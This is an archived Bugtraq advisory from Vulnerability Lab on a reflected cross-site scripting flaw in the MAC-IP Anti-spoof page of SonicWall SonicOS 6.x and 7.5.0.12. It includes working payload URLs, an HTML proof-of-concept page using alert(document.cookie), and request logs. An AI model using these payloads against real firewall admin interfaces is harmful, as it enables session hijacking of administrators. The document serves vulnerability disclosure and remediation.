Bugtraq mailing list archives

SonicWall SonicOS 7.5.0.12 & 6.x - Client Side Cross Site Scripting Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 28 Apr 2015 15:01:19 +0200

Document Title:
===============
SonicWall SonicOS 7.5.0.12 & 6.x - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1359


Release Date:
=============
2015-04-23


Vulnerability Laboratory ID (VL-ID):
====================================
1359


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
The proven SonicOS architecture is at the core of every Dell™ SonicWALL™ firewall from the SuperMassive™ E10800 to the 
TZ 100. 
SonicOS uses deep packet inspection technology in combination with multi-core specialized security microprocessors to 
deliver 
application intelligence, control, and real-time visualization, intrusion prevention, high-speed virtual private 
networking (VPN) 
technology and other robust security features.

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Network-Security-Platform.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a cross site vulnerability in the official SonicWall SonicOS v6.x 
and v7.5.0.12.


Vulnerability Disclosure Timeline:
==================================
2015-04-23:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL
Product: Sonicwall SonicOS 7.5.0.12 & v6.x


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official SonicWall SonicOS 
v6.x and v7.5.0.12.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to 
compromise session information.

The vulnerability is located in the `searchSpoof and searchSpoofIpDet` values of the `Network > MAC-IP Anti-spoof` 
module. Remote attackers are able to 
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted 
weblinks to execute client-side 
script code that compromises the sonicos application user/admin session data. The execution of the script code occurs 
in the mac-ip anti spoof module.
The attack vector of the vulnerability is located on the client-side of the online-service and the request method to 
inject or execute the code is GET.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.0.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user 
account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent 
external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] Network > MAC-IP Anti-spoof

Vulnerable File(s):
                                [+] macIpSpoofView.html

Vulnerable Parameter(s):
                                [+] searchSpoof
                                [+] searchSpoofIpDet


During the client security tests the research team noticed that the official vm version and the all appliance models 
are affected by the security issue. 
The following versions and models of the sonicwall appliance web-application are affected by the remote cross site 
scripting vulnerability.

Affected Model(s):
                                [+] (CASS) Anti Spam - UTM Integrated Anti-Spam
                                [+] (CASS) Anti Spam - Enhanced Comprehensive Anti-spam
                                [+] (CASS) Anti Spam - Email Security

Affected Version(s):
                                [+] SonicOS v7.5.0.12
                                [+] SonicOS v6.x


Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote attackers without privileged application 
user account and 
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the 
provided information 
and steps below to continue.


PoC: Payload(s)
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe%20src=http://www.vulnerability-lab.com
 onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]

https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20 


PoC: Exploit

<html>
<head><body>
<title>Sonicwall AntiSpam "SonicOS Enhanced 5.9.0.7" - (searchSpoof & searchSpoofIpDet) Cross Site Scripting PoC</title>
<iframe 
src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Ciframe
 src=http://www.vulnerability-lab.com onload=alert("PENTEST")%20<&searchSpoofIpDet=[x]>
<br>
<img 
src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=[x]
&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20>
<br>
<iframe 
src=https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3Cimg
 src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<&searchSpoofIpDet=%22%3E%3Cimg 
src=http://www.vulnerability-lab.com/files/ptest.png onload=alert(document.cookie)%20<
</body></head>
</html>

Note: Exploiting a Cross Site Scripting Vulnerability in the searchSpoof value of the macIpSpoofView.html file.



PoC: Vulnerable Source

<td class="listLabel" align="left" nowrap="" width="15%">
<span class="objItemSpacing">
<input title="" name="capCbox" onclick="checkAllSpoofIp(this);" onfocus="if (this.disabled) { this.blur(); }" 
type="checkbox">
</span>
                                <span class="listLabel" align="left" nowrap="">
                                        <script type="text/JavaScript">
                                        <!--
                                                setSpoofIpColHead(1, 'IP Address');
                                        // -->
</script><a class="tableLink" href="/macIpSpoofView.html?tableSortCol=1&tableSortInverted=0&
searchSpoof="><[CLIENT-SIDE SCRIPT CODE EXECUTION!];)" &searchspoofipdet="&startItem=0&startItemIpDet=0"">IP Address</a>
                                </span>
                        </td>
                        <td class="listLabel" align="left" width="10%" nowrap>
                                <script type="text/JavaScript">
                                <!--
                                        setSpoofIpColHead(2, 'Type');
                                // -->
                                </script>
                        </td>
                        <td class="listLabel" align="left" width="10%" nowrap>
                                <script type="text/JavaScript">
                                <!--
                                        setSpoofIpColHead(3, 'Interface');
                                // -->
                                </script>
                        </td>
                        <td class="listLabel" align="left" width="15%" nowrap>
                                <script type="text/JavaScript">
                                <!--
                                        setSpoofIpColHead(4, 'MAC Address');
                                // -->
                                </script>
                        </td>
                        <td class="listLabel" align="left" width="20%" nowrap>
                                <script type="text/JavaScript">
                                <!--
                                        setSpoofIpColHead(5, 'Host Name');
                                // -->
                                </script>



--- PoC Session Logs [GET] ---
Status: 200[OK] 

GET 
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE
 SCRIPT CODE INJECTION!]&searchSpoofIpDet= Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; 
__utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; 
_ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; 
mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; 
s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; 
s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; 
sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; 
s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull;
 s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; 
curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 
1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 
1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 

GET 
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=&searchSpoofIpDet=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22PENTEST%22%29%20
 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cass240.demo.sonicwall.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cass240.demo.sonicwall.com/macIpSpoofView.html]
      Cookie[__utma=227649090.564465250.1416863624.1416865480.1417100584.3; __utmc=227649090; 
__utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; 
_ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; s_cc=true; 
mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; 
s_nr=1416865503646; s_getval=backlink; s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; 
s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; 
sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; 
s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull;
 s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; 
curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 
1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 
1000=9; 777=1; __utmb=227649090.2.10.1417100584; __utmt=1; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html; charset=UTF-8;]



-
Status: 200[OK] 
GET https://cas.127.0.0.1:8080/[CLIENT-SIDE SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des 
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[cas.127.0.0.1:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://cas.127.0.0.1:8080/macIpSpoofView.html?
mainFrameYAxis=0&startItem=0&startItemIpDet=0&currIfaceConfig=0&currIfaceConfigIndex=1&searchSpoof=%22%3E%3C[CLIENT-SIDE
 SCRIPT CODE INJECTION!]&searchSpoofIpDet=]
      
Cookie[__utma=227649090.564465250.1416863624.1416863624.1416865480.2; __utmc=227649090; 
__utmz=227649090.1416863624.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__utmv=227649090.|1=User%3AUnkown=Unknown=1; referreringDomain=; SonicwallReferreringDomain=70160000000jxw7; 
_ga=GA1.2.564465250.1416863624; s_fid=23E57A7F416D34BD-3112FD9D33A8F2CA; 
s_cc=true; mbox=check#true#1416865554|session#1416865493280-142580#1416867354|PC#1416865493280-142580.26_06#1418075095; 
s_nr=1416865503646; s_getval=backlink; 
s_ppv=marketing.sonicwall.com%2Fregister%2F69295; s_sq=%5B%5BB%5D%5D; s_c49=c%3Dus%26l%3Den%26s%3Dcorp; cidlid=%3A%3A; 
s_channelstack=%5B%5B'Referrers'%2C'1416865503950'%5D%5D; 
sessionTime=2014%2C10%2C24%2C22%2C45%2C3%2C950; 
s_hwp=null%7C%7Cnull%7C%7C24%3A11%3A2014%3A22%3A45%7C%7CN%7C%7CN%7C%7Cnull%7C%7C0%7C%7Cnull%7C%7Cnull%7C%7CN%7C%7Cnull%7C%7Cnull%7C%7Cnull;
 
s_sv_sid=75828994935; s_sv_112_p1=1@11@s/15062&e/2; s_sv_112_s1=1@16@a//1416865504579; curUrl=macIpSpoofView.html; 
curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 
1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 1004=1; 
1000=9; 777=1]
      Connection[keep-alive]
   Response Header:
      Server[SonicWALL]
      Expires[-1]
      Cache-Control[no-cache]
      Content-Type[text/html;charset=UTF-8]


Reference(s):
https://cas.127.0.0.1:8080/
https://cas.127.0.0.1:8080/macIpSpoofView.html
https://cas.127.0.0.1:8080/macIpSpoofView.html?mainFrameYAxis=0&startItem=0&startItemIpDet=0


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable searchSpoof and searchSpoofIpDet 
parameters.
Restrict the input of the values and encode the output context of the macipspoofview.html to prevent client-side or 
application-side script code injection attacks.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the macipspoofview.html file is estimated as medium. 
(CVSS 3.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or 
its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special 
damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody 
to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                     - admin () 
evolution-sec com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit 
our material contact 
(admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.

                                Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com
PGP KEY: http://www.vulnerability-lab.com/keys/admin () vulnerability-lab com%280x198E9928%29.txt




Current thread: